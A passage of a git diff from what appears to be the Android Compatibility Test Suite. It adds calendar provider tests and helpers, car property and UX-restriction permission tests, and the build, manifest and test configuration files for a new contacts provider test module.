+        cursor = mContentResolver.query(uri, new String[]{Calendars.IS_PRIMARY}, null, null, null);
+        cursor.moveToFirst();
+        isPrimary = cursor.getInt(0);
+        cursor.close();
+        assertEquals("isPrimary should be the value it was set to", SOME_ARBITRARY_INT, isPrimary);
+
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+    }
+
+    /**
+     * Tests correct behavior of Events.isOrganizer column
+     */
+    @MediumTest
+    public void testEventsIsOrganizer() {
+        String account = "ec_account";
+        int seed = 0;
+
+        // Clean up just in case
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+        int isOrganizer;
+        Cursor cursor;
+        ContentValues values = new ContentValues();
+
+        final long calendarId = createAndVerifyCalendar(account, seed++, null);
+        final long eventId = createAndVerifyEvent(account, seed, calendarId, true, null);
+        final Uri uri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
+
+        // verify when ownerAccount != organizer && isOrganizer IS NULL
+        cursor = mContentResolver.query(uri, new String[]{Events.IS_ORGANIZER}, null, null, null);
+        cursor.moveToFirst();
+        isOrganizer = cursor.getInt(0);
+        cursor.close();
+        assertEquals("isOrganizer should be 0 if ownerAccount != organizer", 0, isOrganizer);
+
+        // verify when ownerAccount == account_name && isOrganizer IS NULL
+        values.clear();
+        values.put(Events.ORGANIZER, CalendarHelper.generateCalendarOwnerEmail(account));
+        mContentResolver.update(asSyncAdapter(uri, account, CTS_TEST_TYPE), values, null, null);
+        cursor = mContentResolver.query(uri, new String[]{Events.IS_ORGANIZER}, null, null, null);
+        cursor.moveToFirst();
+        isOrganizer = cursor.getInt(0);
+        cursor.close();
+        assertEquals("isOrganizer should be 1 if ownerAccount == organizer", 1, isOrganizer);
+
+        // verify isOrganizer IS NOT NULL
+        values.clear();
+        values.put(Events.IS_ORGANIZER, SOME_ARBITRARY_INT);
+        mContentResolver.update(uri, values, null, null);
+        cursor = mContentResolver.query(uri, new String[]{Events.IS_ORGANIZER}, null, null, null);
+        cursor.moveToFirst();
+        isOrganizer = cursor.getInt(0);
+        cursor.close();
+        assertEquals(
+                "isPrimary should be the value it was set to", SOME_ARBITRARY_INT, isOrganizer);
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+    }
+
+    /**
+     * Tests correct behavior of Events.uid2445 column
+     */
+    @MediumTest
+    public void testEventsUid2445() {
+        String account = "ec_account";
+        int seed = 0;
+
+        // Clean up just in case
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+        final String uid = "uid_123";
+        Cursor cursor;
+        ContentValues values = new ContentValues();
+        final long calendarId = createAndVerifyCalendar(account, seed++, null);
+        final long eventId = createAndVerifyEvent(account, seed, calendarId, true, null);
+        final Uri uri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
+
+        // Verify default is null
+        cursor = mContentResolver.query(uri, new String[] {Events.UID_2445}, null, null, null);
+        cursor.moveToFirst();
+        assertTrue(cursor.isNull(0));
+        cursor.close();
+
+        // Write column value and read back
+        values.clear();
+        values.put(Events.UID_2445, uid);
+        mContentResolver.update(asSyncAdapter(uri, account, CTS_TEST_TYPE), values, null, null);
+        cursor = mContentResolver.query(uri, new String[] {Events.UID_2445}, null, null, null);
+        cursor.moveToFirst();
+        assertFalse(cursor.isNull(0));
+        assertEquals("Column uid_2445 has unexpected value.", uid, cursor.getString(0));
+
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+    }
+
+    @MediumTest
+    public void testMutatorSetCorrectly() {
+        String account = "ec_account";
+        String packageName = "android.provider.cts.calendar";
+        int seed = 0;
+
+        // Clean up just in case
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+        String mutator;
+        Cursor cursor;
+        ContentValues values = new ContentValues();
+        final long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+        // Verify mutator is set to the package, via:
+        // Create:
+        final long eventId = createAndVerifyEvent(account, seed, calendarId, false, null);
+        final Uri uri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
+        cursor = mContentResolver.query(uri, new String[] {Events.MUTATORS}, null, null, null);
+        cursor.moveToFirst();
+        mutator = cursor.getString(0);
+        cursor.close();
+        assertEquals(packageName, mutator);
+
+        // Edit:
+        // First clear the mutator column
+        values.clear();
+        values.putNull(Events.MUTATORS);
+        mContentResolver.update(asSyncAdapter(uri, account, CTS_TEST_TYPE), values, null, null);
+        cursor = mContentResolver.query(uri, new String[] {Events.MUTATORS}, null, null, null);
+        cursor.moveToFirst();
+        mutator = cursor.getString(0);
+        cursor.close();
+        assertNull(mutator);
+        // Now edit the event and verify the mutator column
+        values.clear();
+        values.put(Events.TITLE, "New title");
+        mContentResolver.update(uri, values, null, null);
+        cursor = mContentResolver.query(uri, new String[] {Events.MUTATORS}, null, null, null);
+        cursor.moveToFirst();
+        mutator = cursor.getString(0);
+        cursor.close();
+        assertEquals(packageName, mutator);
+
+        // Clean up the event
+        assertEquals(1, EventHelper.deleteEventAsSyncAdapter(mContentResolver, uri, account));
+
+        // Delete:
+        // First create as sync adapter
+        final long eventId2 = createAndVerifyEvent(account, seed, calendarId, true, null);
+        final Uri uri2 = ContentUris.withAppendedId(Events.CONTENT_URI, eventId2);
+        // Now delete the event and verify
+        values.clear();
+        values.put(Events.MUTATORS, packageName);
+        removeAndVerifyEvent(uri2, values, account);
+
+
+        // delete the calendar
+        removeAndVerifyCalendar(account, calendarId);
+    }
+
+    /**
+     * Acquires the set of instances that appear between the specified start and end points.
+     *
+     * @param timeZone Time zone to use when parsing startWhen and endWhen
+     * @param startWhen Start date/time, in RFC 3339 format
+     * @param endWhen End date/time, in RFC 3339 format
+     * @param projection Array of desired column names
+     * @return Cursor with instances (caller should close when done)
+     */
+    private Cursor getInstances(String timeZone, String startWhen, String endWhen,
+            String[] projection, long[] calendarIds) {
+        Time startTime = new Time(timeZone);
+        startTime.parse3339(startWhen);
+        long startMillis = startTime.toMillis(false);
+
+        Time endTime = new Time(timeZone);
+        endTime.parse3339(endWhen);
+        long endMillis = endTime.toMillis(false);
+
+        // We want a list of instances that occur between the specified dates.  Use the
+        // "instances/when" URI.
+        Uri uri = Uri.withAppendedPath(CalendarContract.Instances.CONTENT_URI,
+                startMillis + "/" + endMillis);
+
+        String where = null;
+        for (int i = 0; i < calendarIds.length; i++) {
+            if (i > 0) {
+                where += " OR ";
+            } else {
+                where = "";
+            }
+            where += (Instances.CALENDAR_ID + "=" + calendarIds[i]);
+        }
+        Cursor instances = mContentResolver.query(uri, projection, where, null,
+                projection[0] + " ASC");
+
+        return instances;
+    }
+
+    /**
+     * Acquires the set of instances that appear between the specified start and end points
+     * that match the search terms.
+     *
+     * @param timeZone Time zone to use when parsing startWhen and endWhen
+     * @param startWhen Start date/time, in RFC 3339 format
+     * @param endWhen End date/time, in RFC 3339 format
+     * @param search A collection of tokens to search for.  The columns searched are
+     *   hard-coded in the provider (currently title, description, location, attendee
+     *   name, attendee email).
+     * @param searchByDay If set, adjust start/end to calendar day boundaries.
+     * @param projection Array of desired column names
+     * @return Cursor with instances (caller should close when done)
+     */
+    private Cursor getInstancesSearch(String timeZone, String startWhen, String endWhen,
+            String search, boolean searchByDay, String[] projection, long[] calendarIds) {
+        Time startTime = new Time(timeZone);
+        startTime.parse3339(startWhen);
+        long startMillis = startTime.toMillis(false);
+
+        Time endTime = new Time(timeZone);
+        endTime.parse3339(endWhen);
+        long endMillis = endTime.toMillis(false);
+
+        Uri uri;
+        if (searchByDay) {
+            // start/end are Julian day numbers rather than time in milliseconds
+            int julianStart = Time.getJulianDay(startMillis, startTime.gmtoff);
+            int julianEnd = Time.getJulianDay(endMillis, endTime.gmtoff);
+            uri = Uri.withAppendedPath(CalendarContract.Instances.CONTENT_SEARCH_BY_DAY_URI,
+                    julianStart + "/" + julianEnd + "/" + search);
+        } else {
+            uri = Uri.withAppendedPath(CalendarContract.Instances.CONTENT_SEARCH_URI,
+                    startMillis + "/" + endMillis + "/" + search);
+        }
+
+        String where = null;
+        for (int i = 0; i < calendarIds.length; i++) {
+            if (i > 0) {
+                where += " OR ";
+            } else {
+                where = "";
+            }
+            where += (Instances.CALENDAR_ID + "=" + calendarIds[i]);
+        }
+        // We want a list of instances that occur between the specified dates and that match
+        // the search terms.
+
+        Cursor instances = mContentResolver.query(uri, projection, where, null,
+                projection[0] + " ASC");
+
+        return instances;
+    }
+
+    /** debug -- dump instances cursor */
+    private static void dumpInstances(Cursor instances, String timeZone, String msg) {
+        Log.d(TAG, "Instances (" + msg + ")");
+
+        int posn = instances.getPosition();
+        instances.moveToPosition(-1);
+
+        //Log.d(TAG, "+++ instances has " + instances.getCount() + " rows, " +
+        //        instances.getColumnCount() + " columns");
+        while (instances.moveToNext()) {
+            long beginMil = instances.getLong(0);
+            Time beginT = new Time(timeZone);
+            beginT.set(beginMil);
+            String logMsg = "--> begin=" + beginT.format3339(false) + " (" + beginMil + ")";
+            for (int i = 2; i < instances.getColumnCount(); i++) {
+                logMsg += " [" + instances.getString(i) + "]";
+            }
+            Log.d(TAG, logMsg);
+        }
+        instances.moveToPosition(posn);
+    }
+
+
+    /**
+     * Counts the number of instances that appear between the specified start and end times.
+     */
+    private int getInstanceCount(String timeZone, String startWhen, String endWhen,
+                long[] calendarIds) {
+        Cursor instances = getInstances(timeZone, startWhen, endWhen,
+                new String[] { Instances._ID }, calendarIds);
+        int count = instances.getCount();
+        instances.close();
+        return count;
+    }
+
+    /**
+     * Deletes an event as app and sync adapter which removes it from the db and
+     * verifies after each.
+     *
+     * @param eventUri The uri for the event to delete
+     * @param accountName TODO
+     */
+    private void removeAndVerifyEvent(Uri eventUri, ContentValues eventValues, String accountName) {
+        // Delete event
+        EventHelper.deleteEvent(mContentResolver, eventUri, eventValues);
+        // Verify
+        verifyEvent(eventValues, ContentUris.parseId(eventUri));
+        // Delete as sync adapter
+        assertEquals(1,
+                EventHelper.deleteEventAsSyncAdapter(mContentResolver, eventUri, accountName));
+        // Verify
+        Cursor c = EventHelper.getEventByUri(mContentResolver, eventUri);
+        assertEquals(0, c.getCount());
+        c.close();
+    }
+
+    /**
+     * Creates an event on the given calendar and verifies it.
+     *
+     * @param account
+     * @param seed
+     * @param calendarId
+     * @param asSyncAdapter
+     * @param values optional pre created set of values; will have several new entries added
+     * @return the _id for the new event
+     */
+    private long createAndVerifyEvent(String account, int seed, long calendarId,
+            boolean asSyncAdapter, ContentValues values) {
+        // Create an event
+        if (values == null) {
+            values = EventHelper.getNewEventValues(account, seed, calendarId, asSyncAdapter);
+        }
+        Uri insertUri = Events.CONTENT_URI;
+        if (asSyncAdapter) {
+            insertUri = asSyncAdapter(insertUri, account, CTS_TEST_TYPE);
+        }
+        Uri uri = mContentResolver.insert(insertUri, values);
+        assertNotNull(uri);
+
+        // Verify
+        EventHelper.addDefaultReadOnlyValues(values, account, asSyncAdapter);
+        long eventId = ContentUris.parseId(uri);
+        assertTrue(eventId >= 0);
+
+        verifyEvent(values, eventId);
+        return eventId;
+    }
+
+    /**
+     * Updates an event, and verifies that the updates took.
+     */
+    private void updateAndVerifyEvent(String account, long calendarId, long eventId,
+            boolean asSyncAdapter, ContentValues updateValues) {
+        Uri uri = Uri.withAppendedPath(Events.CONTENT_URI, String.valueOf(eventId));
+        if (asSyncAdapter) {
+            uri = asSyncAdapter(uri, account, CTS_TEST_TYPE);
+        }
+        int count = mContentResolver.update(uri, updateValues, null, null);
+
+        // Verify
+        assertEquals(1, count);
+        verifyEvent(updateValues, eventId);
+    }
+
+    /**
+     * Creates an exception to a recurring event, and verifies it.
+     * @param account The account to use.
+     * @param originalEventId The ID of the original event.
+     * @param values Values for the exception; must include originalInstanceTime.
+     * @return The _id for the new event.
+     */
+    private long createAndVerifyException(String account, long originalEventId,
+            ContentValues values, boolean asSyncAdapter) {
+        // Create the exception
+        Uri uri = Uri.withAppendedPath(Events.CONTENT_EXCEPTION_URI,
+                String.valueOf(originalEventId));
+        if (asSyncAdapter) {
+            uri = asSyncAdapter(uri, account, CTS_TEST_TYPE);
+        }
+        Uri resultUri = mContentResolver.insert(uri, values);
+        assertNotNull(resultUri);
+        long eventId = ContentUris.parseId(resultUri);
+        assertTrue(eventId >= 0);
+        return eventId;
+    }
+
+    /**
+     * Deletes an exception to a recurring event.
+     * @param account The account to use.
+     * @param eventId The ID of the original recurring event.
+     * @param excepId The ID of the exception event.
+     * @return The number of rows deleted.
+     */
+    private int deleteException(String account, long eventId, long excepId) {
+        Uri uri = Uri.withAppendedPath(Events.CONTENT_EXCEPTION_URI,
+                eventId + "/" + excepId);
+        uri = asSyncAdapter(uri, account, CTS_TEST_TYPE);
+        return mContentResolver.delete(uri, null, null);
+    }
+
+    /**
+     * Add some sample attendees to an event.
+     */
+    private void addAttendees(String account, long eventId, int seed) {
+        assertTrue(eventId >= 0);
+        AttendeeHelper.addAttendee(mContentResolver, eventId,
+                "Attender" + seed,
+                CalendarHelper.generateCalendarOwnerEmail(account),
+                Attendees.ATTENDEE_STATUS_ACCEPTED,
+                Attendees.RELATIONSHIP_ORGANIZER,
+                Attendees.TYPE_NONE);
+        seed++;
+
+        AttendeeHelper.addAttendee(mContentResolver, eventId,
+                "Attender" + seed,
+                "attender" + seed + "@example.com",
+                Attendees.ATTENDEE_STATUS_TENTATIVE,
+                Attendees.RELATIONSHIP_NONE,
+                Attendees.TYPE_NONE);
+    }
+
+    /**
+     * Add some sample reminders to an event.
+     */
+    private void addReminders(String account, long eventId, int seed) {
+        ReminderHelper.addReminder(mContentResolver, eventId, seed * 5, Reminders.METHOD_ALERT);
+    }
+
+    /**
+     * Creates and removes an event that covers a specific range of dates.  Call this to
+     * cause the provider to expand the CalendarMetaData min/max values to include the range.
+     * Useful when you want to see the provider expand the instances as the events are added.
+     */
+    private void expandInstanceRange(String account, long calendarId, String testStart,
+            String testEnd, String timeZone) {
+        int seed = 0;
+
+        // TODO: this should use an UNTIL rule based on testEnd, not a COUNT
+        ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed,
+                calendarId, true, testStart, "PT1H", "FREQ=DAILY;WKST=SU;COUNT=100");
+
+        /*
+         * Some of the helper functions modify "eventValues", so we want to make sure we're
+         * passing a copy of anything we want to re-use.
+         */
+        long eventId = createAndVerifyEvent(account, seed, calendarId, true,
+                new ContentValues(eventValues));
+        assertTrue(eventId >= 0);
+
+        String[] projection = { Instances.BEGIN, Instances.START_MINUTE };
+        Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
+                new long[] { calendarId });
+        if (DEBUG_RECURRENCE) {
+            dumpInstances(instances, timeZone, "prep-create");
+        }
+        assertEquals("initial recurrence instance count", 3, instances.getCount());
+        instances.close();
+
+        Uri eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
+        removeAndVerifyEvent(eventUri, new ContentValues(eventValues), account);
+
+        instances = getInstances(timeZone, testStart, testEnd, projection,
+                new long[] { calendarId });
+        if (DEBUG_RECURRENCE) {
+            dumpInstances(instances, timeZone, "prep-clear");
+        }
+        assertEquals("initial recurrence instance count", 0, instances.getCount());
+        instances.close();
+
+    }
+
+    /**
+     * Inserts a new calendar with the given account and seed and verifies it.
+     *
+     * @param account The account to add the calendar to
+     * @param seed A number to use to generate the values
+     * @return the created calendar's id
+     */
+    private long createAndVerifyCalendar(String account, int seed, ContentValues values) {
+        // Create a calendar
+        if (values == null) {
+            values = CalendarHelper.getNewCalendarValues(account, seed);
+        }
+        Uri syncUri = asSyncAdapter(Calendars.CONTENT_URI, account, CTS_TEST_TYPE);
+        Uri uri = mContentResolver.insert(syncUri, values);
+        long calendarId = ContentUris.parseId(uri);
+        assertTrue(calendarId >= 0);
+
+        verifyCalendar(account, values, calendarId, 1);
+        return calendarId;
+    }
+
+    /**
+     * Deletes a given calendar and verifies no calendars remain on that
+     * account.
+     *
+     * @param account
+     * @param id
+     */
+    private void removeAndVerifyCalendar(String account, long id) {
+        // TODO Add code to delete as app and sync adapter and test both
+
+        // Delete
+        assertEquals(1, CalendarHelper.deleteCalendarById(mContentResolver, id));
+
+        // Verify
+        Cursor c = CalendarHelper.getCalendarsByAccount(mContentResolver, account);
+        assertEquals(0, c.getCount());
+        c.close();
+    }
+
+    /**
+     * Check all the fields of a calendar contained in values + id.
+     *
+     * @param account the account of the calendar
+     * @param values the values to check against the db
+     * @param id the _id of the calendar
+     * @param expectedCount the number of calendars expected on this account
+     */
+    private void verifyCalendar(String account, ContentValues values, long id, int expectedCount) {
+        // Verify
+        Cursor c = CalendarHelper.getCalendarsByAccount(mContentResolver, account);
+        assertEquals(expectedCount, c.getCount());
+        assertTrue(c.moveToFirst());
+        while (c.getLong(0) != id) {
+            assertTrue(c.moveToNext());
+        }
+        for (String key : values.keySet()) {
+            int index = c.getColumnIndex(key);
+            assertTrue("Key " + key + " not in projection", index >= 0);
+            assertEquals(key, values.getAsString(key), c.getString(index));
+        }
+        c.close();
+    }
+
+    /**
+     * Creates a new _sync_state entry and verifies the contents.
+     */
+    private long createAndVerifySyncState(String account, ContentValues values) {
+        assertNotNull(values);
+        Uri syncUri = asSyncAdapter(SyncState.CONTENT_URI, account, CTS_TEST_TYPE);
+        Uri uri = mContentResolver.insert(syncUri, values);
+        long syncStateId = ContentUris.parseId(uri);
+        assertTrue(syncStateId >= 0);
+
+        verifySyncState(account, values, syncStateId);
+        return syncStateId;
+
+    }
+
+    /**
+     * Removes the _sync_state entry with the specified id, then verifies that it's gone.
+     */
+    private void removeAndVerifySyncState(String account) {
+        assertEquals(1, SyncStateHelper.deleteSyncStateByAccount(mContentResolver, account, true));
+
+        // Verify
+        Cursor c = SyncStateHelper.getSyncStateByAccount(mContentResolver, account);
+        try {
+            assertEquals(0, c.getCount());
+        } finally {
+            if (c != null) {
+                c.close();
+            }
+        }
+    }
+
+    /**
+     * Check all the fields of a _sync_state entry contained in values + id. This assumes
+     * a single _sync_state has been created on the given account.
+     */
+    private void verifySyncState(String account, ContentValues values, long id) {
+        // Verify
+        Cursor c = SyncStateHelper.getSyncStateByAccount(mContentResolver, account);
+        try {
+            assertEquals(1, c.getCount());
+            assertTrue(c.moveToFirst());
+            assertEquals(id, c.getLong(0));
+            for (String key : values.keySet()) {
+                int index = c.getColumnIndex(key);
+                if (key.equals(SyncState.DATA)) {
+                    // TODO: can't compare as string, so compare as byte[]
+                } else {
+                    assertEquals(key, values.getAsString(key), c.getString(index));
+                }
+            }
+        } finally {
+            if (c != null) {
+                c.close();
+            }
+        }
+    }
+}
diff --git a/tests/tests/car/TEST_MAPPING b/tests/tests/car/TEST_MAPPING
index ef3ec4a..d4ff46d 100644
--- a/tests/tests/car/TEST_MAPPING
+++ b/tests/tests/car/TEST_MAPPING
@@ -1,8 +1,7 @@
 {
-  "presubmit": [
+  "auto-presubmit": [
     {
-      "name": "CtsCarTestCases",
-      "keywords": ["auto-cf"]
+      "name": "CtsCarTestCases"
     }
   ]
 }
diff --git a/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java b/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
index 56e2401..ceabc3d 100644
--- a/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
@@ -33,6 +33,8 @@
 
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.CddTest;
+
 import static com.google.common.truth.Truth.assertThat;
 import static org.junit.Assert.assertTrue;
 
@@ -117,7 +119,38 @@
         List<CarPropertyConfig> requiredConfigs = mCarPropertyManager.getPropertyList(mPropertyIds);
         // Vehicles need to implement all of those properties
         assertEquals(mPropertyIds.size(), requiredConfigs.size());
+    }
 
+    @CddTest(requirement="2.5.1")
+    @Test
+    public void testMustSupportGearSelection() throws Exception {
+        assertTrue("Must support GEAR_SELECTION",
+            mCarPropertyManager.getPropertyList().stream().anyMatch(cfg -> cfg.getPropertyId() ==
+                VehiclePropertyIds.GEAR_SELECTION));
+    }
+
+    @CddTest(requirement="2.5.1")
+    @Test
+    public void testMustSupportNightMode() {
+        assertTrue("Must support NIGHT_MODE",
+            mCarPropertyManager.getPropertyList().stream().anyMatch(cfg -> cfg.getPropertyId() ==
+                VehiclePropertyIds.NIGHT_MODE));
+    }
+
+    @CddTest(requirement="2.5.1")
+    @Test
+    public void testMustSupportPerfVehicleSpeed() throws Exception {
+        assertTrue("Must support PERF_VEHICLE_SPEED",
+            mCarPropertyManager.getPropertyList().stream().anyMatch(cfg -> cfg.getPropertyId() ==
+                VehiclePropertyIds.PERF_VEHICLE_SPEED));
+    }
+
+    @CddTest(requirement = "2.5.1")
+    @Test
+    public void testMustSupportParkingBrakeOn() throws Exception {
+        assertTrue("Must support PARKING_BRAKE_ON",
+            mCarPropertyManager.getPropertyList().stream().anyMatch(cfg -> cfg.getPropertyId() ==
+                VehiclePropertyIds.PARKING_BRAKE_ON));
     }
 
     @SuppressWarnings("unchecked")
@@ -297,5 +330,4 @@
             return config.getAreaIds();
         }
     }
-
 }
diff --git a/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java b/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java
index ca7364b..4f80147 100644
--- a/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java
@@ -15,9 +15,13 @@
  */
 package android.car.cts;
 
+
+import static android.car.drivingstate.CarUxRestrictionsManager.UX_RESTRICTION_MODE_BASELINE;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.car.Car;
 import android.car.drivingstate.CarUxRestrictions;
@@ -27,6 +31,8 @@
 
 import androidx.test.runner.AndroidJUnit4;
 
+import com.google.common.collect.ImmutableList;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -87,4 +93,37 @@
         mManager.registerListener(restrictions -> {});
         mManager.unregisterListener();
     }
+
+    @Test
+    public void testSetRestrictionMode_missingPermission_throwsException() {
+        try {
+            mManager.setRestrictionMode(UX_RESTRICTION_MODE_BASELINE);
+            fail("Expected SecurityException. App does not have the change UX Restrictions "
+                    + "permission.");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testGetRestrictionMode_missingPermission_throwsException() {
+        try {
+            mManager.getRestrictionMode();
+            fail("Expected SecurityException. App does not have the change UX Restrictions "
+                    + "permission.");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testSaveUxRestrictionsConfigurationForNextBoot_missingPermission_throwsException() {
+        try {
+            mManager.saveUxRestrictionsConfigurationForNextBoot(ImmutableList.of());
+            fail("Expected SecurityException. App does not have the change UX Restrictions "
+                    + "permission.");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
 }
diff --git a/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml b/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml
index 4400ab5..a0a38a9 100644
--- a/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml
+++ b/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="misc" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsClassLoaderFactoryInMemoryDexClassLoaderTestCases.apk" />
diff --git a/tests/tests/classloaderfactory/test-memcl/OWNERS b/tests/tests/classloaderfactory/test-memcl/OWNERS
index bda93bc..fa9c94d 100644
--- a/tests/tests/classloaderfactory/test-memcl/OWNERS
+++ b/tests/tests/classloaderfactory/test-memcl/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 86431
-dbrazdil@google.com
\ No newline at end of file
+ngeoffray@google.com
\ No newline at end of file
diff --git a/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml b/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml
index 50c79ef..95797ca 100644
--- a/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml
+++ b/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="misc" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsClassLoaderFactoryPathClassLoaderTestCases.apk" />
diff --git a/tests/tests/classloaderfactory/test-pathcl/OWNERS b/tests/tests/classloaderfactory/test-pathcl/OWNERS
index bda93bc..fa9c94d 100644
--- a/tests/tests/classloaderfactory/test-pathcl/OWNERS
+++ b/tests/tests/classloaderfactory/test-pathcl/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 86431
-dbrazdil@google.com
\ No newline at end of file
+ngeoffray@google.com
\ No newline at end of file
diff --git a/tests/tests/contactsprovider/Android.bp b/tests/tests/contactsprovider/Android.bp
new file mode 100644
index 0000000..ed5cf51
--- /dev/null
+++ b/tests/tests/contactsprovider/Android.bp
@@ -0,0 +1,30 @@
+android_test {
+    name: "CtsContactsProviderTestCases",
+    defaults: ["cts_defaults"],
+
+    compile_multilib: "both",
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+
+    libs: [
+        "android.test.mock",
+        "android.test.base.stubs",
+        "android.test.runner.stubs",
+    ],
+
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "junit",
+        "truth-prebuilt",
+    ],
+
+    srcs: ["src/**/*.java"],
+
+    sdk_version: "test_current",
+    min_sdk_version: "21",
+}
diff --git a/tests/tests/contactsprovider/AndroidManifest.xml b/tests/tests/contactsprovider/AndroidManifest.xml
new file mode 100644
index 0000000..f81bb5e
--- /dev/null
+++ b/tests/tests/contactsprovider/AndroidManifest.xml
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.provider.cts.contacts">
+
+    <uses-sdk android:targetSdkVersion="29" />
+
+    <uses-permission android:name="android.permission.READ_CONTACTS" />
+    <uses-permission android:name="android.permission.WRITE_CONTACTS" />
+
+    <!-- We need the calllog permissions for ContactsTest, which is the test for legacy provider. -->
+    <uses-permission android:name="android.permission.READ_CALL_LOG" />
+    <uses-permission android:name="android.permission.WRITE_CALL_LOG" />
+    <application>
+        <uses-library android:name="android.test.runner"/>
+
+        <service android:name=".account.MockAccountService"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.accounts.AccountAuthenticator"/>
+            </intent-filter>
+
+            <meta-data android:name="android.accounts.AccountAuthenticator"
+                       android:resource="@xml/contactprovider_authenticator"/>
+        </service>
+
+        <provider
+            android:name=".DummyGalProvider"
+            android:authorities="android.provider.cts.contacts.dgp"
+            android:exported="true"
+            android:readPermission="android.permission.BIND_DIRECTORY_SEARCH" >
+            <meta-data android:name="android.content.ContactDirectory" android:value="true" />
+        </provider>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.provider.cts.contacts">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/contactsprovider/AndroidTest.xml b/tests/tests/contactsprovider/AndroidTest.xml
new file mode 100644
index 0000000..2e9fee7
--- /dev/null
+++ b/tests/tests/contactsprovider/AndroidTest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Provider test cases">
+    <option name="test-suite-tag" value="cts" />
+
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <!-- Instant apps can't access the system providers. -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsContactsProviderTestCases.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
+        <option name="package" value="android.provider.cts.contacts" />
+        <option name="runtime-hint" value="10m00s" />
+    </test>
+</configuration>
diff --git a/tests/tests/contactsprovider/OWNERS b/tests/tests/contactsprovider/OWNERS
